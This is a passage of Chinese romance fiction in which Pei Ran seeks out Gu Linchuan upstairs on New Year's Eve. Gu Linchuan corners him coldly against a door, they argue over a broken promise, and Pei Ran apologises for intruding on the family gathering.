裴然咬着唇,往二楼走,凭着从前的记忆找到顾临川的房门,手指悬在半空,犹豫着要不要落下。
“裴先生,你走错了,洗手间在楼下。”顾临川声音骤然在身后出现,裴然吓得手一抖。
裴然转过身,顾临川立在他身前,面容冷峻疏离,仿佛第一次在酒吧遇见他那时一样,眉眼间还可以看见几丝厌恶。
看清的一瞬间,裴然下意识往后退了几步。
顾临川皱着眉步步紧逼,直到裴然背抵上房门,再也没有退路。
裴然鼓起勇气:“我不是来上洗手间的,我是来找你的。”
“找我?什么事。”顾临川居高临下地望着他。
裴然看着他冷漠的神情,顿时又没了底气,往后缩了缩。
“讲话,裴然。”
顾临川一手撑着门,以一种绝对控制的姿势把他抵在门上,另一只手捏着他的下巴。
两人靠得太近,彼此的呼吸都打在对方身上,裴然意识到这一点,呼吸立刻急促起来。
“你上次跟我说,你以后不会再凶我了……但是你没有做到,你刚刚又对我很凶,我不知道原因。”说完,裴然闭上眼睛,不敢再看。
顾临川嗤笑一声,问他:“我什么时候说不凶你了?”
“你明明就有!”裴然急得又睁开眼,“上次在枚爷爷家里,你答应我了的。”
顾临川这才想起来,当时裴然红着眼眶哑着嗓子问他为什么要……他还以为是裴然吃醋他们靠的太近。
现在想来,根本就不是那样。
顾临川周身气压更低,态度恶劣,“答应了就一定要做到吗?”
裴然哑口无言,是啊,他凭什么要求顾临川对他信守承诺,又凭什么要求顾临川对他温声细语。
顾临川哑着嗓子,“你答应别人的事情,都做到了吗?”
裴然背脊一僵,“没有。”
他低着头,顾临川强迫他抬头对视,汹涌复杂的感情在眉目间流转,谁也看不懂。
片刻后,顾临川整理好情绪后退了一步,理了理衣襟,又恢复了西装革履的斯文模样。
裴然只觉一阵天弦地转,险些摔倒,幸好及时扶住门框,才稳住身形。
顾临川默然,转身离开的脚步却一顿,“还有什么要说的吗?”
裴然胸口像塞了一块大石头,很闷,他摇了摇头,又想到什么,“对不起,打扰你们一家人团聚了,我不知道你不欢迎我。”
他以为上次过后,顾临川已经把他当做好朋友了,至少可以心平气和地聊天,没想到只是他一厢情愿。
或许顾临川已经不讨厌他了,但也绝对没有熟到可以在除夕夜擅自来到家里,扰他的清静。
裴然很懊恼,事已至此,他唯有道歉。
顾临川背对着他,看不清表情,只是还没听他讲完,就已经离开了。